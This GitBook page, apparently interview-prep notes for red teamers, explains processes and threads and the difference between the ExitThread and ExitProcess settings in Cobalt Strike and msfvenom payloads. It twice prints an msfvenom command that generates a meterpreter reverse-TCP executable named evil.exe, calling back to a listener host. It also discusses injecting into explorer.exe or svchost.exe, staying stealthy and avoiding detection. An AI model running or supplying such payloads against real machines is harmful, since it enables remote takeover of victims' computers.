Interview Bank
  • Interview Bank
  • Web
    • Persistent Connection and Non Persistent
    • CDN
    • Code Review
    • JWT
      • JWT vs Session Based Authentication
      • JWT Challenge
      • JWE
      • JWS
    • Content Security Policy (CSP)
    • Same-origin Policy (SOP)
    • Cross-Origin Resource Sharing (CORS)
      • Exploiting CORS
    • HTTP Strict Transport Security (HSTS)
    • SQL Injection (SQLi)
    • Password Encryption in Login APIs
    • API Security
      • API Principles
    • Simple bypass PHP
    • Server-side Template Injection (SSTI)
    • Javascript Object and Inheritance
    • HTTP/2
    • Cookie vs Local vs session Storage
    • XML External Entity (XXE)
    • What happened when enter domain name in browser
    • Prototype Pollution - Part 1
    • Prototype Pollution - Part 2
    • Nginx vs Apache
  • OT Security
    • Securing Operational Technology: Understanding OT Security
  • Quantum Computing
    • Quantum Computing: Unveiling the Cryptographic Paradigm Shift
    • Quantum Obfuscation: Shielding Code in the Quantum Era
  • DevSecOps
    • Continuous Integration/Continuous Deployment Pipeline Security
    • Chaos Engineering Overview
      • Security Chaos Engineering
    • Mysql VS redis
    • Kubernetes (k8s)
    • How MySQL executes query
    • REDIS
    • Difference between cache and buffer
  • Windows
    • Pentesting Active Directory - Active Directory 101
    • Pentesting Active Directory - Kerberos (Part 1)
    • Pentesting Active Directory - Kerberos (Part 2)
    • AD vs Kerberos vs LDAP
    • Active Directory Certificate Services Part 1
    • Unconstrained Delegation
    • AS-REP Roasting
    • NTLM Relay via SMB
    • LLMRN
    • Windows lateral movement
    • Constrained Delegation
    • Resource-Based Constrained Delegation
    • IFEO (lmage File Execution Options) Hijacking
  • UNIX
    • Setuid
  • Large Language Models (LLMs)
    • Tokens
    • LangChain
    • Integration and Security
  • Android
    • Keystore
  • Red team development
    • Secure C2 Infrastructure
    • P Invoke in c#
    • D Invoke
    • ExitProcess vs ExitThread
  • Blue Team
    • Indicators of Compromise
    • Methods to prevent Email domain spoofing
    • Windows Prefetching
  • CVE
    • XZ Outbreak CVE-2024-3094
    • Log4J Vulnerability (CVE-2021-44228)
    • SolarWinds Hack (CVE-2020-10148)
    • PHP CGI RCE (CVE-2024-4577)
    • Windows Recall
  • Software Architecture
    • Microservices
    • KVM
  • Docker
    • Overview
    • Daemon Socket
    • Tips to reduce docker size
  • Blockchain
    • Overview
    • Smart Contract
  • Business Acumen
    • Market Research Reports and Perception
    • Understanding Acquisitions
    • Cybersecurity as a Business Strategy
  • Cyber Teams
    • Introduction to Purple Teaming
  • Malware
    • Dynamic Sandbox Limitations
Powered by GitBook
On this page
  • Recap
  • process
  • Thread
  • # Setting EXITFUNC
  • EXITFUNC: Thread
  • EXITFUNC: Process
  • Why EXITFUNC=process is recommended
  • Author
  1. Red team development

ExitProcess vs ExitThread

PreviousD InvokeNextIndicators of Compromise

Last updated 1 month ago

Recap

process

is an instance of a program that is currently running. It contains the program's code, data, resources (such as file handles, memory, etc.), and at least one thread. A process is the basic unit for resource allocation in an operating system. Each process has its own independent memory space, and processes are typically isolated from one another.

Thread

A thread is an execution unit within a process. A process can contain multiple threads, and threads share the resources of the process (such as memory and file handles), but each thread has its own stack and registers. A thread is the basic unit of CPU scheduling.

# Setting EXITFUNC

In cobalt strike in the generating of payload we are able to set the Exit functions

In msfvenom, we can set through the commands

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=process -f exe -o evil.exe

EXITFUNC: Thread

Behavior

  • When EXITFUNC is set to thread, the payload calls the ExitThread function.

  • This terminates the current thread but does not affect other threads within the same process.

Impact

  • The process itself does not exit, and other threads (if any) continue running.

  • If the payload is injected into a legitimate process (e.g., explorer.exe or iexplore.exe) as a sub-thread, terminating that thread typically does not cause the entire process to crash.

Applicable Scenarios

  • Suitable for most exploitation scenarios, especially when the payload runs in a sub-thread of the target process.

  • Ideal for scenarios where the target process needs to remain alive (e.g., to maintain stealth or for subsequent operations).

Potential Issues

  • If the payload runs in the main thread, calling ExitThread may cause the entire process to exit (depending on the Windows version and specific behavior).

  • If the thread's execution path is not clean, it may leave behind residual resources.


EXITFUNC: Process

Behavior

  • When EXITFUNC is set to process, the payload calls the ExitProcess function.

  • This terminates the entire process, including all threads within it.

Impact

  • All resources occupied by the process (e.g., memory, file handles) are reclaimed by the operating system.

  • If the payload is injected into an existing process, calling ExitProcess will cause the entire target process to exit.

Applicable Scenarios

  • Suitable for scenarios involving multi/handler (a listener in Metasploit used to handle multi-session payloads).

  • Ideal for payloads running in an independent process, where a complete cleanup is needed after the task is finished.

Potential Issues

  • If the payload is injected into a critical process (e.g., svchost.exe), calling ExitProcess will cause that process to crash, potentially leading to system instability or user detection.

  • Not suitable for scenarios where the target process needs to remain alive.

Why EXITFUNC=process is recommended

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=process -f exe -o evil.exe

In this example, we are generating an executable file and is going to launch on victim computer and create a meterpreter.

After the second stage payload is sent to victim, the connection is established. The meterpreter module will be injected into other process such as explorer.exe or svchosts.exe. The original evil.exe will no longer be used, and it is good that the process is being "Cleaned" to prevent any trace or zombie process.

Some misunderstanding about the payload execution 1) Payload and meterpreter is the samething

  • Actually fact, payload such as evil.exe is just a launcher, the main task is to load meterpreter shellcode into memory, once it's been loaded, evil.exe can be exit they are no dependent.

2) Connection needs the original process

  • Meterpreter connection does not need the original process to be alived.

  • Meterpreter have its own TCP connection with multi/handler, even the payload quits, meterpreter will still continue to run as they inject themself to a legitamte process

Author

Ik0nw